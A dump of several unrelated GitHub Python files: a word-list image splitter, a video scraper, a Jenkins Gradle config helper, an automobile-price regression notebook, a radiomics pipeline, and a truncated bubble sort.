self.add_margin(self.left()).save(filename)\n return filename\n\n\ndef is_blank(img: Image.Image) -> bool:\n extrema = img.convert(\"L\").getextrema()\n return extrema[0] == extrema[1]\n\n\ndef is_blank_horizontal(img: Image.Image, start: int, end: int) -> bool:\n blank = is_blank(img.crop((0, start, img.size[0], end)))\n if blank:\n return True\n # 大于600个宽度的,允许进一步判断\n if img.size[0] < 600:\n return False\n # 允许有1个黑点,也按照空白计算,不然有一页会出问题\n dark_count = 0\n while start < end:\n for i in range(img.width):\n r, g, b = img.getpixel((i, start))\n if r < 200 and g < 200 and b < 200:\n dark_count += 1\n start += 1\n return dark_count < 2\n\n\ndef is_blank_vertical(img: Image.Image, start: int, end: int) -> bool:\n return is_blank(img.crop((start, 0, end, img.size[1])))\n\n\ndef get_margin(img: Image.Image) -> tuple[int, int, int, int]:\n return (\n get_margin_left(img),\n get_margin_upper(img),\n get_margin_right(img),\n get_margin_lower(img),\n )\n\n\ndef get_margin_left(img: Image.Image) -> int:\n w = img.size[0]\n left = 0\n while left < w and is_blank_vertical(img, 0, left + 1):\n left += 1\n return left\n\n\ndef get_margin_right(img: Image.Image) -> int:\n w = img.size[0]\n right = w\n while right >= 0 and is_blank_vertical(img, right - 1, w):\n right -= 1\n return w - right\n\n\ndef get_margin_upper(img: Image.Image) -> int:\n h = img.size[1]\n upper = 0\n while upper < h and is_blank_horizontal(img, 0, upper + 1):\n upper += 1\n return upper\n\n\ndef get_margin_lower(img: Image.Image) -> int:\n h = img.size[1]\n lower = h\n while lower >= 0 and is_blank_horizontal(img, lower - 1, h):\n lower -= 1\n return h - lower\n\n\ndef is_end_of_word(img: Image.Image, pos: int) -> bool:\n if pos < 0 or pos >= img.size[1]:\n return True\n\n # 如果不是空行,说明不是结束\n if not is_blank_horizontal(img, pos, pos + 1):\n return False\n\n # 第28页很特殊,单词部分没对齐,只有例句部分有大空白\n\n # 第一种,整行的下面有大空白\n offset = 1\n while pos + offset < img.size[1] and is_blank(\n img.crop((0, pos, img.size[0], pos + offset))\n ):\n offset += 1\n # 超过20像素高度的空白,或者直到边界都是空白\n is_end = offset > 20 or pos + offset == img.size[1]\n if is_end:\n return True\n\n # 第二种,需要同时满足:1,左半部分的上面有大空白;2,右半部分的下面有大空白\n offset_left_upper = 1\n while pos - offset_left_upper > 0 and is_blank(\n img.crop((0, pos - offset_left_upper, round(img.size[0] * 0.3), pos))\n ):\n offset_left_upper += 1\n left_upper = offset_left_upper > 20 or pos - offset_left_upper == 0\n\n offset_right_unter = 1\n while pos + offset_right_unter < img.size[1] and is_blank(\n img.crop((round(img.size[0] * 0.5), pos, img.size[0], pos + offset_right_unter))\n ):\n offset_right_unter += 1\n right_unter = offset_right_unter > 20 or pos + offset_right_unter == img.size[1]\n\n if left_upper and right_unter:\n return True\n\n # 第三种,需要同时满足:1,左半部分的上面有大空白;2,左半部分的下面没有大空白\n offset_left_unter = 1\n while pos + offset_left_unter < img.size[1] and is_blank(\n img.crop((round(img.size[0] * 0.5), pos, img.size[0], pos + offset_left_unter))\n ):\n offset_left_unter += 1\n left_unter = offset_left_unter < 10\n\n if left_upper and left_unter:\n return True\n\n return False\n\n\ndef get_word(img: Image.Image, start: int) -> tuple[Word, int]:\n if start < 0 or start >= img.size[1]:\n return None, 0\n\n # 忽略最开始的空白行\n while start < img.size[1]:\n if is_blank_horizontal(img, start, start + 1):\n start += 1\n else:\n break\n\n # 至少要有一行不是空白\n if start >= img.size[1] or is_blank_horizontal(img, start, start + 1):\n return None, 0\n\n end = start + 1\n while end < img.size[1] and not is_end_of_word(img, end):\n end += 1\n\n return Word(img.crop((0, start, img.size[0], end)), \"\"), end\n\n\ndef find_column_spliter(img: Image.Image) -> int:\n # 就在横向的700-1000之间,根据纵向的500-1000范围判断\n img = img.convert(\"L\")\n pos = 700\n while pos < 1000:\n dark_count = 0\n for i in range(500):\n if img.getpixel((pos, 500 + i)) < 200:\n dark_count += 1\n if dark_count == 500:\n return pos\n pos += 1\n return -1\n\n\ndef find_word_spliter(img: Image.Image) -> int:\n # 就在横向的38%或264左右,有几个图片需要向右微调\n # 不知道为什么,在这里is_blank的方法不好用,会认为38%的位置并不是空白\n pos = round(img.size[0] * 0.38)\n while pos < round(img.size[0] * 0.45):\n dark_count = 0\n for j in range(img.size[1]):\n if dark_count > 10:\n break\n r, g, b = img.getpixel((pos, j))\n if r < 200 and g < 200 and b < 200:\n dark_count += 1\n if dark_count == 0:\n return pos\n pos += 1\n # 即使找不到,也返回38%\n return round(img.size[0] * 0.38)\n\n\ndef init_directory(directory: str) -> str:\n if os.path.exists(directory):\n shutil.rmtree(directory)\n # os.makedirs(directory, exist_ok=True)\n os.makedirs(directory)\n return directory\n\n\ndef load_images(directory: str) -> list[Image.Image]:\n dirs = os.listdir(directory)\n dirs.sort()\n img_list: list[Image.Image] = []\n for f in dirs:\n if f.endswith((\"jpg\", \"png\")):\n img_list.append(Image.open(os.path.join(directory, f)))\n return img_list\n\n\ndef get_max_text_width(directory: str) -> int:\n max_width = 0\n img_list = load_images(directory)\n for img in img_list:\n m_left, m_right = get_margin_left(img), get_margin_right(img)\n if img.size[0] - m_left - m_right > max_width:\n max_width = img.size[0] - m_left - m_right\n print(\"max_width\", max_width)\n return max_width\n\n\ndef split_page():\n print(\"遍历所有页面,获取所有栏的图片\")\n page_list = load_images(\"./Goethe-Zertifikat_B1_Wortliste.pdf_images\")\n columns: list[Image.Image] = []\n for i in range(len(page_list)):\n img = page_list[i]\n pos_spliter = find_column_spliter(img)\n if pos_spliter < 0:\n print(i + 1)\n print(\"cannot find spliter\")\n left = img.crop((70, 210, pos_spliter - 5, 2200))\n right = img.crop((pos_spliter + 5, 210, img.size[0] - 50, 2200))\n img.close()\n columns.append(left)\n columns.append(right)\n\n output_dir = init_directory(\"split_page\")\n open(f\"{output_dir}/hidden.txt\", \"w\").close()\n for i in range(len(columns)):\n # print(i + 1)\n columns[i].save(f\"{output_dir}/{i+1:0>3}.png\")\n\n\ndef column_margin_test():\n print(\"切割边界,检查能够正确识别边界\")\n columns = load_images(\"split_page\")\n output_dir = init_directory(\"test_column_margin\")\n open(f\"{output_dir}/hidden.txt\", \"w\").close()\n for i in range(len(columns)):\n c = columns[i]\n m = get_margin(c)\n img_new = c.crop((m[0], m[1], c.size[0] - m[2], c.size[1] - m[3]))\n img_new.save(f\"{output_dir}/{i+1:0>3}.png\")\n\n\ndef align_left():\n print(\"将所有栏文字左对齐,切掉右侧边界\")\n max_width = get_max_text_width(\"split_page\")\n columns = load_images(\"split_page\")\n for i in range(len(columns)):\n c = columns[i]\n m_left = get_margin_left(c)\n img = Image.new(\"RGB\", (max_width, c.size[1]), \"white\")\n img.paste(c.crop((m_left, 0, max_width + m_left, c.size[1])), (0, 0))\n columns[i] = img\n\n output_dir = init_directory(\"align_left\")\n open(f\"{output_dir}/hidden.txt\", \"w\").close()\n for i in range(len(columns)):\n # print(i + 1)\n columns[i].save(f\"{output_dir}/{i+1:0>3}.png\")\n\n\ndef word_spliter_test():\n columns = load_images(\"align_left\")\n output_dir = init_directory(\"word_spliter_test\")\n open(f\"{output_dir}/hidden.txt\", \"w\").close()\n for i in range(len(columns)):\n c = columns[i]\n left_width = find_word_spliter(c)\n print(\"left_width\", left_width)\n if left_width > 0:\n for j in range(c.size[1]):\n c.putpixel((left_width, j), (0, 0, 0))\n print(\"save\", f\"{output_dir}/{i+1:0>3}.png\")\n c.save(f\"{output_dir}/{i+1:0>3}.png\")\n\n\ndef extract_word_test(filename: str, max_width: int, output_dir: str):\n c = Image.open(filename)\n word_list: list[Word] = []\n start = 0\n while start < c.size[1]:\n word, end = get_word(c, start)\n if word != None:\n start = end\n # 说明是空行\n if word.right_blank_percent() > 70:\n continue\n # > 35,说明从属于上一个单词\n # > 10,说明是上一个单词的衍生词\n if word.left_blank_percent() > 35 and len(word_list) > 0:\n last = word_list[len(word_list) - 1]\n img = Image.new(\"RGB\", (max_width, last.h + word.h + 10), \"white\")\n img.paste(last.img, (0, 0))\n img.paste(word.img, (0, last.h + 10))\n word_list[len(word_list) - 1] = Word(img, \"\")\n print(\"word数量\", len(word_list))\n else:\n word_list.append(word)\n print(\"word数量\", len(word_list))\n else:\n break\n\n output_dir = init_directory(output_dir)\n open(f\"{output_dir}/hidden.txt\", \"w\").close()\n mdout = open(\"extract_word_test.md\", \"w\")\n for i in range(len(word_list)):\n # print(i + 1)\n w = word_list[i]\n f = w.save(f\"{output_dir}/{w.source:0>3}_{i+1:0>4}.png\")\n f_left = w.save_left(f\"{output_dir}/{i+1:0>4}_left.png\")\n mdout.write(f\"# {i+1:0>4}\\n\")\n mdout.write(f'')\n mdout.write(f'\\n')\n mdout.close()\n\n\ndef extract_word_test_1(filename: str):\n c = Image.open(filename)\n start = 0\n while start < c.size[1]:\n dark_count = 0\n for i in range(c.width):\n r, g, b = c.getpixel((i, start))\n if r < 200 and g < 200 and b < 200:\n dark_count += 1\n if dark_count > 0 and dark_count < 2:\n print(\"dark_count\", dark_count)\n if dark_count < 2:\n for i in range(c.width):\n c.putpixel((i, start), (0, 0, 0))\n start += 1\n c.save(\"extract_word_test_1.png\")\n\n\ndef extract_word():\n print(\"截取所有单词\")\n max_width = get_max_text_width(\"split_page\")\n columns = load_images(\"align_left\")\n word_list: list[Word] = []\n for i in range(len(columns)):\n c = columns[i]\n start = 0\n while start < c.size[1]:\n word, end = get_word(c, start)\n if word != None:\n start = end\n word.set_source(f\"{i+1}\")\n # 说明是空行\n if word.right_blank_percent() > 70:\n continue\n # > 35,说明从属于上一个单词\n # > 10,说明是上一个单词的衍生词\n if word.left_blank_percent() > 35:\n last = word_list[len(word_list) - 1]\n img = Image.new(\"RGB\", (max_width, last.h + word.h + 10), \"white\")\n img.paste(last.img, (0, 0))\n img.paste(word.img, (0, last.h + 10))\n word_list[len(word_list) - 1] = Word(img, f\"{i+1}\")\n else:\n word_list.append(word)\n else:\n break\n print(\"word数量\", len(word_list))\n\n output_dir = init_directory(\"data\")\n open(f\"{output_dir}/hidden.txt\", \"w\").close()\n md1 = open(\"extract_word.md\", \"w\")\n md2 = open(\"Goethe_B1_Wortliste.md\", \"w\")\n for i in range(len(word_list)):\n # print(i + 1)\n w = word_list[i]\n f = w.save(f\"{output_dir}/{w.source:0>3}_{i+1:0>4}.png\")\n f_left = w.save_left(f\"{output_dir}/{w.source:0>3}_{i+1:0>4}_left.png\")\n left_text, right_text = w.left_text(), w.right_text()\n md1.write(f\"# {w.source:0>3}_{i+1:0>4}\\n\")\n md1.write(f'')\n md1.write(f'\\n')\n md2.write(f'
\\n{left_text}')\n md2.write(f'\\n{right_text}
\\n')\n md2.write('
')\n md2.write(f\"{left_text}\\n\")\n md2.write(f\"{right_text}
\\n\\n\")\n md1.close()\n md2.close()\n\n\nif __name__ == \"__main__\":\n if sys.argv[1] == \"split_page\":\n split_page()\n if sys.argv[1] == \"column_margin_test\":\n column_margin_test()\n if sys.argv[1] == \"align_left\":\n align_left()\n if sys.argv[1] == \"word_spliter_test\":\n word_spliter_test()\n if sys.argv[1] == \"extract_word\":\n extract_word()\n if sys.argv[1] == \"extract_word_test\":\n extract_word_test(sys.argv[2], int(sys.argv[3]), sys.argv[4])\n if sys.argv[1] == \"extract_word_test_1\":\n extract_word_test_1(sys.argv[2])\n","repo_name":"greatmusicians/Goethe_B1_Wortliste","sub_path":"Goethe-Zertifikat_B1_Wortliste.py","file_name":"Goethe-Zertifikat_B1_Wortliste.py","file_ext":"py","file_size_in_byte":15803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30223959271","text":"import requests\nfrom lxml import html\nfrom urllib import request\nimport re\n\netree = html.etree\nurl = 'https://www.pearvideo.com/category_59'\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36'\n}\nresponse = requests.get(url=url,headers=headers)\npage_text = response.text\ntree = etree.HTML(page_text)\ndiv_tree = tree.xpath('//*[@id=\"listvideoListUl\"]/li/div/a')\ni = 0\nfor a in div_tree:\n href = \"https://www.pearvideo.com/\"+a.xpath('@href')[0]\n href_text = requests.get(url=href, headers=headers).text\n # print(href_text)\n ex = 'srcUrl=\"(.*?)\"'\n mp = re.findall(ex,href_text)[0]\n i = i+1\n request.urlretrieve(mp,f'./videos/{i}{\".mp4\"}')\n print(i, '下载成功')\n\n","repo_name":"zhangzhuzhuzz/scrapy_db","sub_path":"爬虫模块/梨视频/梨视频爬取.py","file_name":"梨视频爬取.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4490195322","text":"from xml.etree.ElementTree import parse\nimport os\n\ndef xml_modify(filename, **kargs):\n tree = parse(filename)\n root = tree.getroot()\n for tag, value in kargs.items():\n for i in root.iter(tag):\n i.text = value\n tree.write(filename, encoding='UTF-8', xml_declaration=True)\n\ndef copy_to_container(src, dest, filename):\n command=\"docker cp \" + src + \"/\" + filename + \" jenkins:\" + dest\n os.system(command)\n\nclass Gradle:\n def __init__(self):\n self.stage = \"\"\"\n stage('Gradle Junit Test') {\n steps {\n sh 'chmod +x ./gradlew'\n sh \"chmod +x gradlew; ./gradlew test\"\n }\n }\n stage('Gradle Build ') {\n steps {\n sh 'chmod +x ./gradlew'\n sh './gradlew clean build'\n }\n }\n stage('Publish Test Result') {\n steps {\n junit '**/build/test-results/test/*.xml'\n }\n }\"\"\"\n\n def gradleConfigure(self, gradle_jenkins_configname, gradle_version):\n xml_modify(\"/home/ec2-user/AnNaBaDa_DevSecOps_Boilerplate/pipeline-github/jenkins_config/hudson.plugins.gradle.Gradle.xml\", name=gradle_jenkins_configname, id=gradle_version)\n copy_to_container(\"/home/ec2-user/AnNaBaDa_DevSecOps_Boilerplate/pipeline-github/jenkins_config\", \"/var/jenkins_home\", \"hudson.plugins.gradle.Gradle.xml\")\n ","repo_name":"Ubam97/AnNaBaDa_DevSecOps_Boilerplate","sub_path":"pipeline-github/gradle.py","file_name":"gradle.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"5625840624","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[49]:\n\n\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n\n# In[2]:\n\n\npath = 'https://cf-courses-data.s3.us.cloud-object-storage.appdomain.cloud/IBMDeveloperSkillsNetwork-DA0101EN-SkillsNetwork/labs/Data%20files/module_5_auto.csv'\n\n\n# In[3]:\n\n\ndf = pd.read_csv(path)\n\n\n# In[4]:\n\n\ndf.head()\n\n\n# In[5]:\n\n\n# Only use numeric data\ndf = df._get_numeric_data()\ndf.head()\n\n\n# In[6]:\n\n\n# Library for plotting \nfrom ipywidgets import interact, interactive, fixed, interact_manual\n\n\n# ## Functions for plotting\n\n# In[7]:\n\n\ndef DistributionPlot(RedFunction, BlueFunction, RedName, BlueName, Title):\n width = 12\n height = 10\n plt.figure(figsize=(width, height))\n\n ax1 = sns.distplot(RedFunction, hist=False, color=\"r\", label=RedName)\n ax2 = sns.distplot(BlueFunction, hist=False, color=\"b\", label=BlueName, ax=ax1)\n\n plt.title(Title)\n plt.xlabel('Price (in dollars)')\n plt.ylabel('Proportion of Cars')\n\n plt.show()\n plt.close()\n\n\n# In[82]:\n\n\ndef PollyPlot(xtrain, xtest, y_train, y_test, lr,poly_transform):\n width = 12\n height = 10\n plt.figure(figsize=(width, height))\n \n \n #training data \n #testing data \n # lr: linear regression object \n #poly_transform: polynomial transformation object \n \n xmax=max([xtrain.values.max(), xtest.values.max()])\n\n xmin=min([xtrain.values.min(), xtest.values.min()])\n\n x=np.arange(xmin, xmax, 0.1)\n\n\n plt.plot(xtrain, y_train, 'ro', label='Training Data')\n plt.plot(xtest, y_test, 'go', label='Test Data')\n plt.plot(x, lr.predict(poly_transform.fit_transform(x.reshape(-1, 1))), label='Predicted Function')\n plt.ylim([-10000, 60000])\n plt.ylabel('Price')\n plt.legend()\n\n\n# ## Part 1: Training and Testing \n\n# #### We will place the target data price in a separate dataframe y_data (traing data vs. testing data)\n\n# In[9]:\n\n\ny_data = df['price']\n\n\n# In[10]:\n\n\n# Drop price data in dataframe x_data\nx_data = df.drop('price', axis=1)\n\n\n# In[11]:\n\n\n# Randomly split our data into training and testing data using the function train_test_split\nfrom sklearn.model_selection import train_test_split\nx_train, x_test, y_train, y_test = train_test_split(x_data, y_data, test_size=0.10, random_state=1)\n\n\nprint(\"number of test samples :\", x_test.shape[0])\nprint(\"number of training samples:\",x_train.shape[0])\n\n\n# In[12]:\n\n\n# Use the function \"train_test_split\" to split up the dataset such that 40% of the data samples will be utilized for testing.\nx_train1, x_test1,y_train1, y_test1 = train_test_split(x_data,y_data, test_size = 0.40, random_state = 0)\nprint(\"number of test samples :\", x_test1.shape[0])\nprint(\"number of training samples:\",x_train1.shape[0])\n\n\n# In[13]:\n\n\nfrom sklearn.linear_model import LinearRegression\n\n\n# In[14]:\n\n\nlre = LinearRegression()\n\n\n# In[15]:\n\n\n# fit the model using the feature 'horsepower'\nlre.fit(x_train[['horsepower']],y_train)\n\n\n# In[16]:\n\n\n# calculate R^2 on the test data\nlre.score(x_test[['horsepower']],y_test)\n\n\n# In[17]:\n\n\nlre.score(x_train[['horsepower']],y_train)\n\n\n# In[18]:\n\n\n# Find the R^2 on the test data using 40% of the dataset for testing\nx_train1,x_test1,y_train1,y_test1 = train_test_split(x_data, y_data, test_size = 0.40, random_state =0) \nlre.fit(x_train1[['horsepower']],y_train1)\nlre.score(x_test1[['horsepower']],y_test1)\n\n\n# ## Cross-Validation score \n\n# #### Sometimes you do not have sufficient testing data; as a result, you may want to perform cross-validation\n\n# In[19]:\n\n\nfrom sklearn.model_selection import cross_val_score\n\n\n# We input the object, the feature (\"horsepower\"), and the target data (y_data). The parameter 'cv' determines the number of folds. In this case, it is 4.\n# The default scoring is average R^2,\n\n# In[27]:\n\n\nRcross = cross_val_score(lre, x_data[['horsepower']],y_data, cv=4)\nRcross\n# cv: how many times you want to do validations\n\n\n# In[21]:\n\n\n# calculate the average and standard deviation of our estimate\nprint(\"The mean of the folds are\", Rcross.mean(), \"and the standard deviation is\" , Rcross.std())\n\n\n# In[32]:\n\n\n#use negative squared error as a score by setting the parameter 'scoring' metric to 'neg_mean_squared_error'.\n#mean_squared_error, are available as neg_mean_squared_error which return the negated value of the metric\nRcross_2 = -1*cross_val_score(lre,x_data[['horsepower']], y_data, cv=4, scoring = 'neg_mean_squared_error')\nnp.mean(Rcross_2)\n\n\n# In[34]:\n\n\n# Calculate the average R^2 using two folds, then find the average R^2 for the second fold utilizing the \"horsepower\" feature:\nrc = cross_val_score(lre,x_data[['horsepower']],y_data, cv=2)\nrc.mean()\n\n\n# ##### cross_val_predict vs. cross_val_score : \n# \n# \n# - **cross_val_score** returns score of test fold where cross_val_predict returns predicted y values for the test fold.For the cross_val_score(), you are using the average of the output, which will be affected by the number of folds because then it may have some folds which may have high error (not fit correctly).\n# \n# - Whereas, **cross_val_predict()** returns, for each element in the input, the prediction that was obtained for that element when it was in the test set. Note that only cross-validation strategies that assign all elements to a test set exactly once can be used. So the increasing the number of folds, only increases the training data for the test element, and hence its result may not be affected much.\n\n# In[35]:\n\n\nfrom sklearn.model_selection import cross_val_predict\n\n\n# In[37]:\n\n\nyhat = cross_val_predict(lre,x_data[['horsepower']],y_data,cv=4)\nyhat[0:5]\n\n\n# ### Part 2: Overfitting, underfitting and model selection\n\n# ##### Create Multiple Linear Regression objects and train the model using 'horsepower', 'curb-weight', 'engine-size' and 'highway-mpg' as features.\n\n# In[47]:\n\n\nlr = LinearRegression()\nlr.fit(x_train[['horsepower','curb-weight','engine-size','highway-mpg']], y_train)\n\n\n# In[48]:\n\n\nyhat_train = lr.predict(x_train[['horsepower','curb-weight','engine-size','highway-mpg']])\nyhat_train[0:5]\n\n\n# In[62]:\n\n\nTitle = ' Distribution plot of predicted value using training data vs. training data distribution'\nDistributionPlot(y_train, yhat_train,'Actual value (train)', 'Predicted value(training)', Title)\n\n\n# In[66]:\n\n\nyhat_test = lr.predict(x_test[['horsepower','curb-weight','engine-size','highway-mpg']])\nyhat_test[0:5]\n\n\n# In[67]:\n\n\n# test test_data in the same model \nTitle = ' Distribution plot of predicted value using test data vs. test data distribution'\nDistributionPlot(y_test,yhat_test,'Actual values(test)','Predicted values(test)', Title)\n\n\n# When the model generates new values from the test data, we see the distribution of the predicted values is much different from the actual target values. - **Overfitting** occurs when the model fits the noise, but not the underlying process. Therefore, when testing your model using the test set, your model does not perform as well since it is modelling noise, not the underlying process that generated the relationship.\n\n# In[69]:\n\n\n# use ploynominal regression to test the data\nfrom sklearn.preprocessing import PolynomialFeatures\n\n\n# In[70]:\n\n\nx_train, x_test,y_train,y_test = train_test_split(x_data,y_data,test_size=0.45, random_state = 0)\n\n\n# In[72]:\n\n\npr = PolynomialFeatures(degree = 5)\nx_train_pr = pr.fit_transform(x_train[['horsepower']]) \nx_test_pr = pr.fit_transform(x_test[['horsepower']])\npr\n\n\n# In[74]:\n\n\npoly = LinearRegression()\npoly.fit(x_train_pr,y_train)\n\n\n# In[75]:\n\n\n# check the output\nyhat = poly.predict(x_train_pr)\nyhat[0:5]\n\n\n# In[76]:\n\n\nprint(\"Predicted values:\", yhat[0:4])\nprint('True values:',y_test[0:4])\n\n\n# In[84]:\n\n\npoly.score(x_train_pr,y_train)\n\n\n# In[85]:\n\n\npoly.score(x_test_pr,y_test)\n\n\n# **A negative score means overfitting**\n\n# In[90]:\n\n\n# check the score based on different degrees of poly \nRsqu_test = []\norder = [1,2,3,4,]\nfor n in order:\n pr = PolynomialFeatures(degree = n)\n x_train_pr = pr.fit_transform(x_train[['horsepower']])\n x_test_pr = pr.fit_transform(x_test[['horsepower']])\n lr.fit(x_train_pr,y_train)\n Rsqu_test.append(lr.score(x_test_pr,y_test))\n \nplt.plot(order, Rsqu_test)\nplt.xlabel('order')\nplt.ylabel('R^2')\nplt.title('R^2 using test data')\nplt.text(3,0.75, 'Maximum R^2')\n\n\n# **R^2 gradually increases until an order three polynomial is used. Then, the R^2 dramatically decreases at an order four polynomial**\n\n# In[95]:\n\n\n# The following interface allows you to experiment with different polynomial orders and different amounts of data.\ndef f(order, test_data):\n x_train, x_test, y_train, y_test = train_test_split(x_data, y_data, test_size=test_data, random_state = 0)\n pr = PolynomialFeatures(degree = order)\n x_train_pr = pr.fit_transform(x_train[['horsepower']])\n x_test_pr = pr.fit_transform(x_test[['horsepower']])\n poly = LinearRegression()\n poly.fit(x_train_pr,y_train)\n PollyPlot(x_train[['horsepower']], x_test[['horsepower']], y_train,y_test, poly, pr)\n\n\n# In[97]:\n\n\ninteract(f, order =(0,6,1), test_data = (0.05,0.95,0.05))\n\n\n# In[98]:\n\n\npr1 = PolynomialFeatures(degree = 2)\n\n\n# In[101]:\n\n\n# Transform the training and testing samples for the features 'horsepower', 'curb-weight', 'engine-size' and 'highway-mpg'. Hint: use the method \"fit_transform\".\nx_train_pr1 = pr1.fit_transform(x_train[['horsepower','curb-weight','engine-size','highway-mpg']])\nx_test_pr1=pr1.fit_transform(x_test[['horsepower','curb-weight','engine-size','highway-mpg']])\n\n\n# In[102]:\n\n\n# check the dimensions\nx_train_pr1.shape \n# 15 features\n\n\n# In[103]:\n\n\n# Create a linear regression model \"poly1\". Train the object using the method \"fit\" using the polynomial features.\npoly1 = LinearRegression()\npoly.fit(x_train_pr1,y_train)\n\n\n# In[107]:\n\n\n#Use the method \"predict\" to predict an output on the polynomial features, then use the function \"DistributionPlot\" to display the distribution of the predicted test output vs. the actual test data.\nyhat_test1 = poly.predict(x_train_pr1)\nyhat2[0:5]\n\n\n# In[109]:\n\n\nTitle='Distribution Plot of Predicted Value Using Test Data vs Data Distribution of Test Data'\nDistributionPlot(y_test,yhat_test1,'Actual values(test)', 'Predicted values(test)',Title)\n\n\n# *The predicted value is higher than actual value for cars where the price as usd 10,000 range, conversely the predicted price is lower than the price cost in the usd 30,000 to usd 40,000 range. As such the model is not as accurate in these ranges.*\n\n# ### Part 3: Ridge regression\n\n# There is the tendency for the regression model to overfit the data. In instances such as these we need to ensure that we balance between bias and variance.\n# \n# Hence to overcome the problem of overfitting we use a machine learning algorithm called Ridge Regression. It is very similar to Linear Regression only that it differs in cost function.\n\n# In[111]:\n\n\n# Perform a degree two polynomial transformation on our data.\npr = PolynomialFeatures(degree = 2)\nx_train_pr = pr.fit_transform(x_train[['horsepower', 'curb-weight', 'engine-size', 'highway-mpg','normalized-losses','symboling']])\nx_test_pr = pr.fit_transform(x_test[['horsepower', 'curb-weight', 'engine-size', 'highway-mpg','normalized-losses','symboling']])\n\n\n# In[112]:\n\n\nfrom sklearn.linear_model import Ridge\n\n\n# In[113]:\n\n\n# Let's create a Ridge regression object, setting the regularization parameter (alpha) to 0.1\nRigeModel = Ridge(alpha=1)\n\n\n# In[131]:\n\n\nRigeModel.fit(x_train_pr,y_train)\nRigeModel.score(x_test_pr,y_test)\n\n\n# In[115]:\n\n\nyhat=RigeModel.predict(x_test_pr)\n\n\n# In[118]:\n\n\nprint('predicted:',yhat[0:4])\nprint('test set:',y_test[0:4].values)\n\n\n# **We select the value of alpha that minimizes the test error. To do so, we can use a for loop. We have also created a progress bar to see how many iterations we have completed so far.**\n\n# In[128]:\n\n\nfrom tqdm import tqdm\n\nRsqu_test = []\nRsqu_train = []\ndummy1 = []\nAlpha = 10 * np.array(range(0,1000))\npbar = tqdm(Alpha)\n\nfor alpha in pbar:\n RigeModel = Ridge(alpha = alpha)\n RigeModel.fit(x_train_pr,y_train)\n test_score, train_score = RigeModel.score(x_test_pr,y_test), RigeModel.score(x_train_pr,y_train)\n \n pbar.set_postfix({'Test score':test_score,'Train score':train_score})\n \n Rsqu_test.append(test_score)\n Rsqu_train.append(train_score)\n\n\n# In[129]:\n\n\n# Plot out the value of R^2 for different alphas\nwidth = 12\nheight = 10\nplt.figure(figsize=(width, height))\n\nplt.plot(Alpha,Rsqu_test, label='validation data ')\nplt.plot(Alpha,Rsqu_train, 'r', label='training Data ')\nplt.xlabel('alpha')\nplt.ylabel('R^2')\nplt.legend()\n\n\n# The x-axis represents the different values of Alpha.\n# The blue line represents the R^2 of the validation data: As the value for alpha increases, the R^2 increases and converges at a point; The red line represents the R^2 of the training data: As alpha increases the R^2 decreases. Therefore, as alpha increases, the model performs worse on the training data.\n# \n\n# In[132]:\n\n\n# change alpha to 10 \nRigeModel = Ridge(alpha = 8000)\nRigeModel.fit(x_train_pr,y_train)\nRigeModel.score(x_test_pr,y_test)\n\n\n# #### Part 4: Grid Search\n# \n# *The term alpha is a hyperparameter. Sklearn has the class GridSearchCV to make the process of finding the best hyperparameter simpler.*\n\n# In[133]:\n\n\nfrom sklearn.model_selection import GridSearchCV\n\n\n# In[136]:\n\n\n# Create a dictionary of parameter values\nparameters1 = [{'alpha':[0.001,0.1,1,10,1000,10000,100000,1000000]}]\nparameters1\n\n\n# In[137]:\n\n\n# Creae a Ridge regression object\nRR = Ridge()\nRR\n\n\n# In[138]:\n\n\n# Create a ridge search object\nGrid1 = GridSearchCV(RR, parameters1,cv=4)\n\n\n# In[139]:\n\n\n# Fit the model\nGrid1.fit(x_data[['horsepower', 'curb-weight', 'engine-size', 'highway-mpg']], y_data)\n\n\n# In[142]:\n\n\nBestRR = Grid1.best_estimator_\nBestRR\n\n\n# In[143]:\n\n\n# Test the model\nBestRR.score(x_test[['horsepower', 'curb-weight', 'engine-size', 'highway-mpg']],y_test)\n\n\n# ### Conclusion: \n\n# Best fit model is **Ridge regression model** with **R^2 = 0.8411** in the test set.\n\n# In[ ]:\n\n\n\n\n","repo_name":"xiaojie-qian/Automobile-data-analysis-using-python","sub_path":"4. Automobile_Model Evaluation and Refinement.py","file_name":"4. Automobile_Model Evaluation and Refinement.py","file_ext":"py","file_size_in_byte":14086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36362805517","text":"import logging\n\nimport pandas as pd\n\nfrom radhub import master_config\nfrom radhub.UPENN_GBM import config, preprocess, extract\n\nlog = logging.getLogger(__name__)\n\n\ndef run_pipeline():\n\n master_config.configure_logging(config.log_dir)\n\n utils.pretty_log(\"Creating tables with paths and labels (1/2)\")\n\n paths_df = preprocess.create_ref_table(\n config.raw_data_dir, config.raw_seg_dir\n )\n paths_df.to_csv(config.derived_table_dir / \"paths.csv\", index=False)\n\n label_df = pd.read_csv(\n config.raw_table_dir / \"UPENN-GBM_clinical_info_v1.0.csv\"\n )\n label_df.to_csv(config.derived_table_dir / \"labels.csv\", index=False)\n\n utils.pretty_log(\"Extracting features (2/2)\")\n\n paths_df = pd.read_csv(config.derived_table_dir / \"paths.csv\")\n extract.extract_features(paths_df, save_dir=config.derived_table_dir)\n\n\nif __name__ == \"__main__\":\n run_pipeline()\n","repo_name":"pwoznicki/RadiomicsHub","sub_path":"radhub/UPENN_GBM/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"4183989997","text":"# Recursive bubble sort\n\ndef bubbleSort(array: list) -> list:\n length = len(array) - 1\n swapped = False\n\n for i in range(length):\n if array[i] > array[i + 1]:\n temp = array[i]\n array[i] = array[i + 1]\n array[i + 1] = temp\n swapped = True\n\n if swapped: return bubbleSort(array)\n return array\n\n\narray = [4, 5, 8, 9 ,45, 2, 1, 7, 32, 98, 3, 7899, 755, 144, 